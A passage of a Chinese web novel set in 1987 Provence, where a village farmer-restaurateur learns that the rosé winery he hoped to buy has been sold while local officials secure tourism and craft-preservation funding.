台下变得乱哄哄,即使那位官员又补充了两条‘折扣机制’——安装防雹网可享保费20%减免和连续5年无理赔费率下调10%,依然无法让农夫的情绪安静下来。 布兰科几次起立让大家安静,但很多人只顾着说自己的,把他忽略了。 正当他要上去抢话筒时,在一旁安静坐了好久的朱莉特突然抢过话筒,并重重的敲了几下,巨大的噪音把议论声盖了下去: “大家觉得农业部为什么要跟着保险公司一起出现在卢尔马兰?” 朱莉特明显是这一行人的‘首脑’,她一说话,下面终于安静了。 大家冷静下来一想: 对啊,气象保险是保险公司推出的,农业部为什么要来宣传? 这保费也落不到他们的口袋里吧? 朱莉特已经去了好几个村子,对农夫们的反应早有预料,语气平静的说: “我知道你们在想什么,你们肯定在想‘那些从来没有下过地的官员们来教我们怎么种地了,真可笑’,但是很遗憾朋友们,今天我来不是告诉你们‘该怎么做’的,而是来问你们——我们能一起做些什么?” 朱莉特的气势和发言镇住了广场里坐着的人。 我们能一起做什么? 朱莉特的情绪突然激昂起来: “我想你们任何一个人都比我清楚,普罗旺斯的太阳有多狠毒、普罗旺斯的暴雨有多残暴、普罗旺斯的天气有多喜欢和我们开玩笑我们无数次想坐下来和自然谈判,但是我们没有筹码,我们连谈判桌都上不去——” 她突然用力砸了几下桌子,似乎在敲打每个人的胸膛: “但是我们真的没有筹码吗?500年前或许没有、100年前可能也不够资格,但此刻在1987年,我认为我们有足够的资格和自然谈判了!我们的筹码就是几百几千年来一代代农夫因灾害而损失的农田。 这份气象保险我们强制保险公司改了几十版,只为做到三件事——理赔快、有保障、你们说了算,什么是理赔快?灾后24小时必响应;什么是看得懂?理赔全程农业部会在一旁监督,保障每一个农夫都能拿到钱;什么是你们说了算?保险不是强制性质的,大家自愿投保,但为了减轻大家的经济压力,我们申请下来了更多的优惠——” 朱莉特一眼面前的文稿都没看,流畅的介绍道: “第一、保费可抵扣农业收入税;第二,成立沃克吕兹省农业灾害基金,对极端灾害提供保额外的20%-30%损失;第三、与欧洲共同体联合,针对种植葡萄的农户提供最高30%的保额补助,具体政策如下” 朱莉特说的这些内容着实把大家镇住了。 即使像亨利那样的叛逆家伙也能看出来——这次来的三个官员真的是来帮助他们的,不是来骗钱的。 而且不少农夫心中冒出了一个念头——果然是来自沃克吕兹省的高官啊,气势真足,那么乱的场子几句话就给镇下来了! “这是个狠角色。”皮埃尔不由得眯起了眼睛。 朱莉特说的补助内容实在太庞杂,就连卢尔马兰政府的官员们一时间都无法计算清楚,一直在纸上记录着、计算着。 “下面把时间交给我的同事,大家有问题可以向他提问。”朱莉特把话筒还了出去。 第一排的罗南也在下面认真计算补助的情况,他认为政府给了这么多优惠后对农夫的经济压力已经很小很小了。 果然如略伦特先生说的那样——农业部该动起来的人全部动起来了,他们最近做了不少事。 同时,罗南又重新评估了朱莉特在他心中的形象。 这位低调的协会会员今天的表现着实让他吃了一惊,似乎很有工作上的手腕啊? 正当罗南默默观察朱莉特时,这位官员突然给了他一个眼神,似乎是有话要对他讲,让罗南跟着她离开。 罗南跟着朱莉特离开老广场,不等她张嘴,先一步说道: “我正好也有事找你,我想问问那个‘试验田’项目。” 朱莉特皱眉: “我们今天讲完保险就要回去,后面还有其他安排。” “这样啊,那我晚上打电话和你说吧。”罗南有些苦闷的挠了挠头。 早知道这次见面没有机会深聊,他前几天就给朱莉特打电话问这件事了。 朱莉特突然露出一个奇怪的笑容: “今天没时间细聊,不代表明天或者后天没时间,我猜这两天咱们要聚会了。” 罗南摇头: “不太可能,伊内斯最近很忙。” 伊内斯最近非常非常忙,而且她下周一也会去尼斯,他们通过电话了。 朱莉特突然严肃下来: “伊内斯再忙也一定会着急让大家聚一次,罗杰姆的酒庄有人接手了,原来你不知道啊?我把你叫出来就是想问问你知不知道是谁买的。” 罗南的嘴巴可以吞下一整个苹果。 什么? 斯特斯加酒庄被人买了?! 第378章 感谢旅游局的赞助! “不可能!”罗南想都没想,脱口而出。 他一直在留意斯特斯加酒庄的售卖情况,每次找杰罗姆订酒都会问两句,以确定是否有竞争者。 在过去的2个月中,只有3个买家问过斯特斯加的情况和价格,但都不了了之了。 餐厅上一次订酒就在一周前,怎么会突然有人接手? 谁家买东西不得考虑一下啊,尤其是那么贵的东西,再有钱也不是这样花的。 而且众所周知,普罗旺斯的粉红酒市场还没有果酒好,更加无法和红、白葡萄酒比,花那么多钱把斯特斯加买下得有非常强大的驱动力和决心。 罗南敢接手斯特斯加,是因为卢尔马兰要发展粉红酒特色之路。 除此之外还有卢尔马兰的艺术氛围、罗南和佐伊在普罗旺斯艺术节的影响力、伊内斯和歌迪亚可以帮助罗南影响更多的人在如此多条件的加持下,斯特斯加才有可能发展到新的高度。 如果没有这些契机就贸然接手,那纯粹是疯了。 朱莉特做了一个耸肩的动作: “杰罗姆和你的想法一样,同样认为他的酒庄不可能卖出去,所以他第一时间联系了我,问我农业部是不是要出台什么利好葡萄或者粉红酒的新政策。” “有这种政策吗?”罗南追问。 朱莉特摇头: “没有,农业部今年最重要的三个工作方向是做好灾害后的农田重建、向科技现代化转型,最后一件是配合欧洲共同体推行‘拔除计划’,罗杰姆在联系我之前还咨询过科伦坦,工商联盟同样没有什么利好粉红酒的动作。” 罗南皱着眉毛问: “杰罗姆说买家是谁了吗?” 朱莉特继续摇头: “没有说,只说要交定金了,聚会时详细的问问他吧,你想问的试验田项目到时候也一起说。” 回到座位,罗南的表情无比严肃。 之前的计划全部围绕可以拿下斯特斯加而展开,甚至已经把一部分精力放到了如何开拓高端市场,因为斯特斯加在低端市场上已经做到普罗旺斯的最好,最多就是再研发一些具有特色的亲民款酒型,让品牌更具有多元化,但至少不需要考虑基本盘的事。 一旦斯特斯加酒庄和他失之交臂,就要从零开始经营一家酿酒合作社,那么首要的问题就是如何在普罗旺斯立足的实际问题。 这是完全不同的两个发展方向,难度也截然不同。 虽然罗南的钱不够,但他从未放弃过买下斯特斯加的想法,因为那会少走很多弯路并节省许许多多的时间。 即使从卢尔马兰政府那里借不到钱,他也会去找银行借.而且他还有一位有钱的未婚妻。 拿下斯特斯加的办法很多,就看最终选择哪一个对自己更加有利。 由于拿到的信息显示根本没有竞争者,罗南始终按照之前想好的计划行事: 耐心等待卢尔马兰拿到旅游局的预算,之后去和布兰科摊牌,拿到政府的最终态度。 政府的态度会直接影响罗南的‘投入金额’,如果政府能给他一些低息贷款,罗南会多买一些斯特斯加的东西。 如果政府不给钱,需要找银行或者佐伊借钱,那么罗南有可能只会买下‘斯特斯加’的名字和粉红酒的配方,之后就是接触杰罗姆,推行拔除计划、培育新品种 想到这里,罗南一连叹了好几口气。 如果斯特斯加没了,还种新葡萄种吗? 如果不种新葡萄,那还推行‘拔除计划’吗? 朱莉特带来的消息太过突然,把罗南的全部计划打乱了。 后面讲的那些问题他都没怎么听,脑子里盘算着接下来要如何做。 突然,他的肩膀被人用力拍了几下,一回头是皮埃尔: “农业部的人要走了,你不去送送?” 罗南想的太过投入,会议结束了也不知道。 他抬头一看,朱莉特几人已经在布兰科的护送下向着村口的方向走了。 罗南的心情不太好,不想陪他们演戏了: “不送了。” “什么事比认识农业部的官员还重要?好不容易中午开了个不错的头,要‘趁热打铁’啊。”皮埃尔故技重施的说,“你不去,我可要去了。” 罗南这次没有再上钩,搬起椅子离开了广场: “那你去吧,我还有事,先走了。” 皮埃尔无奈的目送罗南离去。 这个家伙怎么不上钩了? 今天这个会看似是推行气象保险,实则是农业部在传达——他们不会眼睁睁的看着大伙儿受苦,农业部未来要与大家共进退的决心。 农业部随便一挥手就是几千万法郎的补助,如果和这帮人打好关系.不敢奢求他们多给点好处,喝汤时流下来两滴就够整个卢尔马兰喝好几壶的! 尤其是那个女人!! 皮埃尔认为,那人说不定是农业部里非常重要的一个大人物。 农业部从来没有来过卢尔马兰,这是他们唯一巴结上这些官员的机会了! 皮埃尔一路跟在布兰科等人的身后,衡量利弊。 最终,他下定了决心,理了一下衣服,又对着路边老酒馆的窗户整理了一下发型。 “虽然我没有罗南长得好,也没他会说话,但我皮埃尔也是见过许多大世面的人,去认识一下没有问题的。”对着玻璃练习了两次握手和自我介绍后,皮埃尔离开了这扇窗户,去追朱莉特。 下一秒,面前的窗户突然由内向外推开,特奥笑得前仰后合的说: “妈的,你笑死我了!需要我往你手上吐两口白兰地吗?” 特奥身后,康奈尔的脑袋也出现了。 他模仿起皮埃尔刚刚的动作: “瞧瞧,我真是帅死了!” “滚蛋!”皮埃尔指着他们咆哮,“等我办完正事再过来收拾你们!” 特奥把两只手撑在窗台上,对着皮埃尔喊: “你要去和那几个官员打招呼吗?你省一省吧,罗南完成任务了。” 皮埃尔一个急刹车: “什么时候的事?” 科莫已经没有什么心思打理老酒馆了,每天一开门就坐到吧台后面,明目张胆的做编织。 有人来喝酒需要自己去拿,反正科莫也不指望卖酒赚钱了。 在广场坐了两个多小时,把皮埃尔热疯了,他去冰箱里拿啤酒,发现没有一瓶是冰的: “科莫,你不想干就关了吧,没有冰啤酒还开什么酒馆?” 科莫敷衍的说: “你自己拿点冰块。” 啤酒加冰味道就成水了,皮埃尔不情不愿的倒了一杯粉红酒,往里面放了一些冰块。 这也是普罗旺斯人解暑的方法之一,但之前在卢尔马兰没人会这么喝,因为喝粉红酒丢人。 不过现在卢尔马兰对粉红酒的包容度太高了,如果这是在罗南的餐厅,那些艺术家看到有农夫喝粉红酒,会夸赞他们‘有品位’和‘时尚’呢。 “你们今天怎么来这喝了?”皮埃尔苦着脸问。 罗南那里什么都有,来这破地干什么? 特奥坏笑着说: “因为我们正在背后议论罗南啊,去他的地盘说不合适吧?” 皮埃尔赶紧问他们: “在聊罗南什么?还有,你们为什么说罗南已经完成任务了?” 康奈尔神秘兮兮的说: “我中午吃的太多,开会中途去了一趟厕所,发现罗南和那个女官员在没有人的地方说话呢,我偷偷听了一会,那女官员在给罗南介绍农业部今年的几项工作内容。” “什么工作内容?”皮埃尔关心的问。 康奈尔尴尬的摇头: “没听清,再近就要被发现了。” 特奥叼着烟对皮埃尔说: “你不用着急,罗南肯定比我们懂如何和那些官员打交道,你看布兰科多喜欢他啊.他一定会好好利用这层关系给村子‘谋福利’。” 皮埃尔点了几下头。 特奥说的有道理,罗南很擅长处理和政府的关系,说不定很快就能给他们带来些‘内部消息’了。 皮埃尔来之前,大伙已经聊了一会罗南,法比安起了个新话题: “说说那个气象保险吧,你们什么态度,买不买?” 坦白地讲,这个保险内容非常不错,尤其不是强制性的,还有这么多补贴政策。 但政府补的再多,个人每年也要出几千法郎,这也是钱啊。 皮埃尔一时间拿不定主意,主要这是普罗旺斯第一次出现气象类型的保险。 但他是农夫们的‘主心骨’,无论再纠结,也必须给出一个结果,大家都期待着他的抉择。 不过这一次皮埃尔的态度变了: “看看罗南的态度吧,他买我就买。” 皮埃尔把手边的粉红酒一饮而尽,可能喝的次数多了,觉得也没那么无法接受了。 特奥几人你看看我,我看看你。 “那就都等等罗南的态度?” “行,看罗南怎么选择吧。” 同一时间。 送走了朱莉特等人的布兰科,找到了餐厅里的罗南。 “有时间吗?我们聊聊你上次想聊的那个话题?”布兰科眉开眼笑的问。 罗南正在等杰罗姆的电话,想要问问那边具体是什么情况,还有没有回旋的余地,所以现在并不是和布兰科摊牌的好时候。 他歉意的指了一下面前的电话: “今天可能不行,我在等一个重要的电话。” “没事,那我们改天再聊。”布兰科笑着拍了一下罗南的肩膀,离开了这里。 一出门,希尔维马上露出一副‘幸灾乐祸’的样子: “让我猜猜,你是想告诉罗南旅游局已经口头给了我们承诺,还是要告诉他,我们给他订下了一份大大的‘惊喜’呢?” 没错,沃克吕兹省旅游局已在近日给卢尔马兰政府批复了! “都有。”布兰科笑着纠正,“不过那个惊喜不是我们给的.是旅游局‘赞助’的,走吧,回去再研究一下那些拨款类别,别弄错了。” 第379章 抱团的巴黎佬 正常预算审批流程耗时较长,短的需要4-5个月,长的等了几年的也有,主要原因是需要经过层层叠叠的审批,而且每次审批都有可能被打回去修改。 但发展旅游业是普罗旺斯80年代最重要任务,各个省份之间都是明争暗抢的关系,抢的当然是游客,争的自然是时间了。 特殊情况,可以出现一些特殊的处理。 沃克吕兹省旅游局下发给地方的预算会以‘大项’的形式提前一年申请,每年11月申请,下一年的5月份拨款。 如果要动用提前申请好的资金,只需通过地方审计院和内政部两道审批.速度会快很多。 不过即使如此,正式的书面批文也需要盖好几个章才能送来,所以希尔维说,他们只是拿到‘口头批复’了。 至于为什么要提前给到‘口头批复’. “昆西命令我们必须在明年旅行季之前,把围绕粉红酒特色之路展开的基础设施修建好,并尽快为此上报一份详细的方案,他会同步处理给我们的拨款。”希尔维转了几下椅子,“原来这位官员感兴趣的东西是粉红酒,我说他那天怎么突然兴奋了!” 布兰科看着面前的文件,笑着说: “只能说罗南人脉广阔,了解到了旅游局真正感兴趣的东西。” 这样想来,罗南的那个朋友真是厉害啊。 布兰科此刻还能回忆起昆西在电话中的语气,似乎只要卢尔马兰能坚定不移的发展粉红酒.他也会坚定的支持卢尔马兰的似的。 “好了,这个话题我们之后再说,先讨论一下不同的款项应用到哪些事情上。”布兰科认真的敲了两下桌子。 克劳德对照着提前做好的文件,向布兰科汇报: “100万旅游基础设施基金,会用于道路修缮、停车场建设、游客中心打造、公共卫生设施和垃圾分类站。” “60万法郎文化遗产补贴,用于修复卢尔马兰城堡。” “旅游推广与活动赞助的50万法郎,用于提升集市的影响力、还愿盛典的举办,今年计划在卢尔马兰举行的两次大型文艺活动。” “地方旅游宣传与维护” 卢尔马兰获得的第一笔旅游扶持资金有350万法郎,这个数字高于去年戈尔德获批的250万法郎和梅纳村的150万法郎。 除了卢尔马兰需要提升的基础设施较前两者更加多外,也得益于卢尔马兰的新风貌,这里可以吸引游客的东西实在是太多了,值得投入。 根据布兰科等人掌握到的消息,这是吕贝隆村落内,单笔获批最高的数额。 其实这350万法郎已经可以让政府扶持罗南开一个粉红酒庄了,因为他们还有地方税收,而且这个数字的增长也很喜人。 但令人意外的是,在熟悉的旅游扶持资金外,昆西还批给了卢尔马兰一笔意料之外的预算,款项的名称为——传统工艺保护基金。 手工酿制粉红酒工艺被列为‘濒危手工技艺’,第一笔扶持资金为80万法郎。 有了这额外的80万法郎,卢尔马兰政府不仅可以做好旅游基础建设,还可以给受灾的农夫们提供高额灾害补助,经济情况非常充裕。 昆西急需要卢尔马兰上交详细的粉红酒发展计划,而斯特斯加酒庄又是这件事的核心,布兰科和罗南一样,未来全部的计划也是围绕着这个酒庄展开的,于是在接到昆西的电话后,布兰科立即让希尔维把酒庄订了下来,只是付款的日子推迟到了款项到账后。 “让罗南从零开始经营一家酿酒合作社他肯定不愿意,挑战太大了,但我们把普罗旺斯最好的粉红酒庄买了下来,他肯定没有拒绝的理由了啊。” “肯定的啊,我要是罗南,现在一定开心死了!” 罗南真开心啊,真的是开心死了。 因为罗杰姆在电话里说,他已经接受了那个买家的定金不可能反悔了。 罗南问他买家的背景,罗杰姆‘懵逼’的说,他也不是很清楚,那个女人只是来酒庄看过一次,问了报价和细节后便消失了,一个多月后再出现,就是通知罗杰姆她要交定金。 “这是哪里来的傻子?”罗南愤愤不平的抱怨。 晚上8点多,伊内斯的聚会通知‘如约而至’。 她开心的说,如此天大的好消息必须见面好好庆祝一次,再忙也要挤出时间。 聚会的日期定在周日下午,地点是对大家都比较友好的阿普特。 周日,罗南收拾好去尼斯的行李后提前一些抵达了阿普特的某咖啡厅。 罗杰姆有提前到的习惯,罗南想借此机会好好打听一下斯特斯加酒庄新主人的信息.万一有奇迹发生么? 没想到和罗南有同样目的人不在少数,他进入那个小包间的时候内斯和调酒师西奥多尔已经在和杰罗姆聊天了。 伊内斯拍了拍自己旁边的位置,表情复杂的对罗南说: “罗杰姆刚刚和我们说,那个买家似乎有点奇怪。” 罗南疑惑的看向罗杰姆: “多有奇怪?” 罗杰姆平摊双手: “那个女人去酒庄的那次,我们聊了一些话题,她答的并不很流畅,似乎不想多说,只是告诉我,酒庄的主人不是她,她是替‘老板’来看的。 前几天她给我打电话,说要把酒庄订下来,我问你的老板不需要来看看吗?她说不用了,上帝啊,你敢信吗,这么大的生意,老板居然都不来露个脸!” 西奥多尔手里把玩着一个开瓶器,语气不算多好的说: “你这样说我更担心了,普罗旺斯的酒庄老板里没有人对斯特斯加感兴趣,也就是说,这个买家一定是外行人,再加上你的描述.我很担心这是哪个有钱人家的少爷或小姐在花钱买新鲜感。” 西奥多尔是普罗旺斯非常著名的品酒师,和当地几乎所有酒庄老板都认识,这两个月他一直在帮杰罗姆找买家,但处处碰壁。 对方一听是粉红酒庄直接就‘呵呵’了。 西奥多尔的话让罗南自动带入了帕特里西亚小姐的脸。 他无奈的叹气,有个有钱的爹太让人羡慕了! 这确实拼不过啊。 西奥多尔看向伊内斯,用‘告状’的语气说: “他们经营不好斯特斯加!” 但伊内斯有什么办法呢? 她想到什么,问杰罗姆: “那个买家把斯特斯加酒庄全部买下了吗?” 上次聚会时罗杰姆说过,他可能会拆开卖,这样更容易脱手。 罗杰姆摇着头说: “没有,那个女人只要‘斯特斯加’的招牌和粉红酒配方,其他全都没要,不过说实在的她要的恰恰是最难卖出去的两个东西,土地、设备和厂房如果想卖很好脱手,我周围全都是酒庄。” 伊内斯表情复杂的看了一眼西奥多尔,意思是说,现在真的没办法了。 罗杰姆观察到了这些人的微表情,尴尬的耸肩道: “我知道你们在想什么,这可能不是个好下家,我也有同样的担忧,所以报了80万的高价,但她居然同意了” 罗南咕咚咕咚的猛猛喝酒。 上一次杰罗姆给他的报价是50万! 50万就可以拥有‘斯特拉斯’这个招牌。 但这个买家居然是80万买的? 有钱!任性!! 罗南都放弃挣扎了,西奥多尔居然还没放弃.他用试探性的语气问杰罗姆: “你们签合同了吗?我可以再去问问那些巴黎来的新酒农,他们的思想和普罗旺斯本地人不同,应该没有那么排斥粉红酒只是那些人非常‘排外’,可能不会接受我的提议,不过给我点时间,我想要试试!” 罗杰姆挠了挠头: “马上就要签约了,还聊好了定金的数额这不太好吧。” 见事情已经发展成了这样,大家也就不便说什么了。 随后会员们陆续到来,全部围着罗杰姆了解情况。 已经和杰罗姆聊了许久的伊内斯、罗南和西奥多尔去到了一个安静的角落里。 罗南问西奥多尔: “你刚刚是不是说了,巴黎来的新酒农?” 罗南和佐伊在古尔村买高度白兰地的那个合作社老板提过这个词汇。 他说近些年来有许多大城市的人来普罗旺斯做酒生意,这些人有一个统一的称号——新酒农。 除了全部来自大城市外,他们还有一个特色——喜欢经营高端酒领域,几乎不做餐酒。 但那个老板并没有在前面加过类似‘巴黎’这样的形容词。 “对,那些巴黎来的酒庄老板非常抱团。”西奥多尔解释道。 在罗南加入协会后,西奥多尔大部分的聚会都缺席了。 伊内斯担心这位品酒师不了解罗南的背景,说出什么带有地方情绪、诋毁巴黎人的话,把这个话题接了下来,给罗南补充道: “这些巴黎来的酒庄老板也成立了一个地方组织,叫‘新时代酒庄联盟’,他们还参与拍卖了佐伊在戈尔德展出的其中一个艺术品。” 罗南对这个名字有印象,这个买家在戈尔德也很活跃,拍了几件非常不错的藏品。 第一次听到‘新酒农’这个词汇时,罗南就想要接触这些人了,因为他们所擅长的高端市场正是罗南所欠缺的。 事实上,整个普罗旺斯酒市场,无论是红、白、粉亦是其他酒类都面临着‘廉价’的危机,所以欧联体才会推出‘拔除计划’,逼着市场转型。 罗南决定有机会一定要认识一下他们,都是巴黎老乡应该好融入吧? 一想到这里,罗南突然感觉无比的伤心。 还想什么高端市场啊,斯特斯加都没了! 罗南只伤心了几分钟,因为很快他的伤心就被其他情绪所取代。 姗姗来迟的阿斯特丽德女士连外套都没有脱,一屁股坐到了他的身边。 她用夹杂着气愤和不理解的语气问: “买家居然不是你?” 第380章 嘶......预算批少了? 罗南言简意赅的对阿斯特丽德解释: “我一直在关注斯特斯加的动态,但这个买家下手太快,根本没给我反应的机会,您知道的.借势和借利也需要运作的时间,但其实我马上就要成功了。” 阿斯特丽德把手套和外套扔到沙发上,语气冰冷的说: “仔细讲,你是如何计划的,这两个月又做了什么,斯特斯加又是如何被人抢了的。” 阿斯特丽德女士毫无疑问是一位非常厉害的‘老师’,而且来自赫赫有名的福克斯家族,她能给一两句提点这次聚会就算没白来,于是罗南把从上次见面之后发生的事细细讲了一遍。 从为深入艺术领域参加戈尔德活动、到卢尔马兰第二次艺术家迁徙狂潮形成了非常好的粉红酒氛围,再到了解香水博物馆模式和旅游局的到来和反应。 过程中还把拔除计划和栽种新葡萄的思路说了,甚至连通过和伊内斯的合作提升个人影响力、为粉红酒从艺术群体向大众推广做努力的细节都没放过。 阿斯特丽德本想好好的说一说这个小子,路都给他指出来了居然没搭上车? 而且她比任何人都清楚,没有热爱经营不好斯特斯加,也酿制不出好喝的粉红酒。 那她以后喝什么?? 但听完罗南复述,她发现除了迟迟没有和罗杰姆接触,居然没有什么可以指责他的地方。 罗南这一个多月着实做了许多准备,想的计划比她指出来的更加详细,甚至连向精品酒转型这么长远的事都考虑进去了,而且他不止借了卢尔马兰政府的‘势’,伊内斯和朱莉特也成为了他计划中的一部分。 成长的很快啊阿斯特丽德在心里咕哝了一句。 她的气消了一大半,慵懒的问罗南: “斯特斯加没了,你下一步的打算是什么?” 罗南平静的说: “继续做粉红酒生意,不过要从头开始经营一家酿酒合作社了,虽然难度高了许多,但如果政府能申请到比较满意的预算,还是有操作空间的,只是围绕粉红酒发展的速度会慢一些。” 阿斯特丽德偷偷看了他一眼: “还要继续酿酒?” 罗南语气坚定的说: “当然,只要能酿出好喝的酒,早晚会出名,而且我前期已经做了那么多,现在绝对不可能放弃。” 阿斯特丽德小幅度的摇了摇头。 她欣赏罗南的决心和对粉红酒的坚持。 但空有一腔热血没有任何用,那是最不值钱的东西。 没了斯特斯加,罗南要面对的困难会成倍的增长。 何时才能熬到他口中那个‘人人粉红酒’的社会呢? 烦死了,真的是烦死了! 明明很顺利的事,怎么突然弄成这个样子了? 阿斯特丽德一进来就气势汹汹的坐到了罗南身边,吓得大家都不敢往那周围坐,只敢远远的看着。 他们观察到,阿斯特丽德的情绪突然‘烦躁’了起来。 先是在包里粗鲁的找东西,东西没找到又把包扔下了,似乎连手里的酒杯都变得碍眼,每一次放下都会发出响声。 罗南当然也发现了阿斯特丽德的情绪变化,而且他强烈怀疑,这烦躁就是因他而起的。 “抱歉,我去下卫生间。”他礼貌的站起来。 罗南的离开似乎触碰到了阿斯特丽德身上某个开关,她突然换了一副脸孔,认真的问: “卢尔马兰政府什么时候提交的预算申请?” 罗南一怔,回忆了一下说: “应该有一周多、快两周了。” 罗南离开后,阿斯特丽德把一只胳膊架到了沙发上,眯着眼睛不知道在想什么。 等罗南再次回到包厢,阿斯特丽德已经换了个位置,坐到人堆里,正在默默的喝酒。 罗南坐到自己原先的位置,后怕似的呼了一口气。 这位女士给人的压迫感实在太强大了。 过了一会,朱莉特坐了过来,压着声音问罗南: “和阿斯特丽德女士聊什么了?” 罗南装傻充愣的说: “我们还能聊什么,粉红酒呗,我们只有这一个共同话题。” 朱莉特羡慕的撇了撇嘴,用一种无法说明但又一肚子话的表情看了两眼罗南,最终她没有就这个话题再说什么,聊起了其他的: “你想要问‘试验田’项目?” 既然已经决定继续之前的计划,那么新葡萄品种还是会继续种,罗南点点头,期盼的说: “是的,我想号召卢尔马兰的农夫们拔掉高产低价的葡萄后改种新品种。” 朱莉特并没有表现出意外,上一次聊拔除计划时,罗南就很跃跃欲试了,她用专业的口吻介绍道: “试验田项目简单来说就是政府和科研机构合作开展的农业实验项目,旨在测试新品种、环保技术和可持续种植方法,鼓励产区通过实验提高竞争力,根据实验项目的不同,大区政府、农业部、INRA(国家农科院)、欧洲共同体、水务局甚至旅游局等都可能会成为资助方。” 罗南越听越兴奋。 这么多有可能的资助方吗? 都是‘金主爸爸’啊!! 朱莉特见罗南一脸欣喜,一边摇头一边叹气: “你写一份报告给我,阐明想做的事和有可能会达成的目的,我帮你交上去,看看哪些部门感兴趣,记得写的‘详细’点。” “好好好,我回去马上准备!”罗南开心的说,不过想到什么,他继续问道,“如果申请成功,提供技术帮助的是哪个部门?我可以先和这个部门的人见个面吗?” 罗南也想要咨询一下专业人士的意见。 他现在只有理论知识,像是‘纸上谈兵’,如果普罗旺斯之前进行过某些新葡萄品种的实验,不管是成功了还是失败了,都是宝贵的经验。 朱莉特敲着扶手椅说: “和资助方一样,视项目不同,提供技术支持的机构也不一样,因为每个机构擅长的领域不同,和沃克吕兹省合作比较多的有阿维尼翁果树与薰衣草研究中心、吕贝隆农业技术学校、阿维尼翁农业大学、普罗旺斯丘AOC技术委员会和欧盟农业指导与担保基金等。” 一个小小的停顿之后,她继续补充道: “其实还有法国国家农业研究院阿维尼翁中心和新成立的普罗旺斯松露技术中心,不过这两个机构目前只做和松露有关的实验项目。” 罗南脸上的笑容瞬间凝固住: “研究人工培育松露?” 朱莉特侧了下脑袋: “是的,寒潮使得普罗旺斯地下菌丝体冻伤严重,今年松露市场成交量暴跌50%,政府决定试点松露人工种植技术,资助这个项目的是普罗旺斯大区政府和我们沃克吕兹省农业部。” 上一次聚会的气氛很低落,因为在那次聚会上,伊内斯公布了杰罗姆打算把斯特斯加卖掉的决定,大家不舍得这个陪着协会走了全程的粉红酒庄。 这次聚会,酒庄卖出去了,但气氛仍然很低落,杰罗姆说和新买家做完交接后就要把土地、设备和厂房低价卖了,之后搬去马德里生活。 “偶尔也会回来的吧?”伊内斯和杰罗姆相处的时间最久,这个协会就是杰罗姆交到她手上的。 最老的成员即将要离开,她的心里无比难受,像是失去了一个战友。 杰罗姆做了一个鬼脸,想把伊内斯逗笑,但却先把自己逗笑了: “好了伊内斯,别这样,马德里那么近,我会经常回来的。” 杰罗姆笑着对大家说: “以后大家去马德里一定要找我,我收集西班牙好喝的粉红酒等着大家!” 现场情绪最欢快的就是杰罗姆,他脸上永远保持着笑容,还安慰大家这已经是很好的结果了。 西奥多尔‘切’了一声: “西班牙的粉红酒怎么可能比普罗旺斯的好喝,还是我带着酒去看你吧。” 他抱了一下杰罗姆: “保重。” 成员们都很忙,今天来的人就不多,连加布里埃尔和雅克先生都缺席了,这很可能是大家最后一次见面。 杰罗姆哈哈大笑着举起酒杯: “大家也是,一定要保重,今天说了那么多祝酒辞,朋友们,这一杯敬我们最爱的粉红酒!” “敬粉红酒!!” 聚会一直持续到了晚饭后,但阿斯特丽德在下午就离开了。 以前的聚会她场场到,并且永远是喝到最后的那个,近期三次聚会中有两次她都‘早退’了,而且今天她总是一副‘游离在外’的样子,不免让成员们担忧——这位女士对粉红酒的热爱是不是消退了? 还有人开玩笑的说,如果是这样的话罗南就是协会里对粉红酒最痴狂和热爱的成员了。 罗南欲言又止的说: “这个‘最’永远是属于阿斯特丽德的。” 同一时间。 阿维尼翁某高档宴会厅。 镀金的吊灯将宴会厅照得如同白昼,水晶杯折射的光斑在路易十四风格的壁纸上来回跳动。 十几位穿着正装的男男女女坐在长桌的两端,厨师正在他们前面的菜肴上用松露刨擦下一片片直径超过10厘米的新鲜松露。 这些达官贵人完全没有表现出对这个不该在这个季节出现的食材的疑惑,因为他们正认真看着桌尾那位黛黑色长裙的华贵女士说话。 那女士的指尖慵懒的沿着杯沿画圈,香槟气泡争先恐后的跳出了酒面: “这就不得不说起前两天去卢尔马兰的事了,这个村子的变化有点快啊,我记得去年秋天去的时候,还是另外一副样子呢” 在场某位大腹便便的胖子,默默拿起手帕擦了擦汗。 这位女士居然会这么频繁的去卢尔马兰? 那350万是不是批少了?? 第381章 等我赚了钱,再给你买个房子 第二天是一个平平无奇的周一。 希尔维和往常一样,早上步行前往政府大楼上班,沿途路过阿兰的面包店,买了一个牛角面包和一杯咖啡,这是她习惯的早餐搭配。 但是一想到卢尔马兰申请到了350万法郎的旅游资助,不是430万旅游加传统工艺的资助,马上就要扩编人力、减轻工作量、远离加班,并且还有可能会涨工资,希尔维便幸福的又买了一份辣香肠。 “卢尔马兰能有今天,你功不可没啊希尔维.你值得吃点好的!”希尔维笑着安慰自己。 她一边吃面包,一边想着今天的工作,就这样慢慢走到了政府门口。 嘴里说着想要‘轻松’点,但希尔维永远是每天第一个到政府的人,因此还承担了开门的重任。 一抬头,她发现门口停着一辆黑色轿车,穿着西装的昆西正一脸焦急的在石阶上踱步。 希尔维一边拿口袋里的钥匙,一边小跑过去: “昆西先生,您怎么来了?” 昆西终于等到了人,快步迎上去: “昨晚我一直给你们打电话,但是联系不上人,于是一早赶来了。” “我们晚上没有值班的人。”希尔维打开政府大门,把他请进去,“有什么事吗?” 昆西站在门口,并没有要进去的意思: “布兰科在哪儿?快带我去见他。” 希尔维察觉到事态不太对劲,紧张的问: “怎么了?” “预算,预算搞错了!”昆西皱着眉毛说。 昆西的话直接把希尔维击垮了。 什么? 我的美梦破碎了?! 更加崩溃的是昆西! 和文化部的博弈是旅游局非常在意的事,而粉红酒是他们的突破口,也是昆西的‘功绩’。 想要快点把事情推进下去,让卢尔马兰尽快动起来,所以在正式批复前给了一个口头批复,身边同事们也都是这样做的,从没出过什么问题。 但昨天晚上他突然接到通知——预算的数字改了! 昆西示意希尔维赶紧带他去找布兰科: “你们就当从没听到过350万这个数字,我说的一直是500万.记住了吗?” 希尔维差点栽倒在门口的石阶上,眼前出现了许多法郎的符号: “那传统工艺保护基金的那80万法郎呢?” “什么时候说过80万?一直是100万法郎啊。”昆西看着希尔维问,“你们和那个叫罗南的人说了吗?快找人把他一起叫来,问问他有没有和别人说。” 希尔维一边带路,一边指着村口的方向说: “他带着卢尔马兰的艺术家们去尼斯参加狂欢节了,后天才回来,不过我们还没来及通知他这个消息,他什么都不知道呢。” 昆西看了一眼希尔维手指的方向: “那就好,不过我也想和他聊聊粉红酒的事,算了,那就之后再说吧,我未来半个月都会待在卢尔马兰。” “你今天要住在卢尔马兰不走了?”这一早上听到了太多震惊的消息,希尔维觉得脑袋一阵一阵发晕。 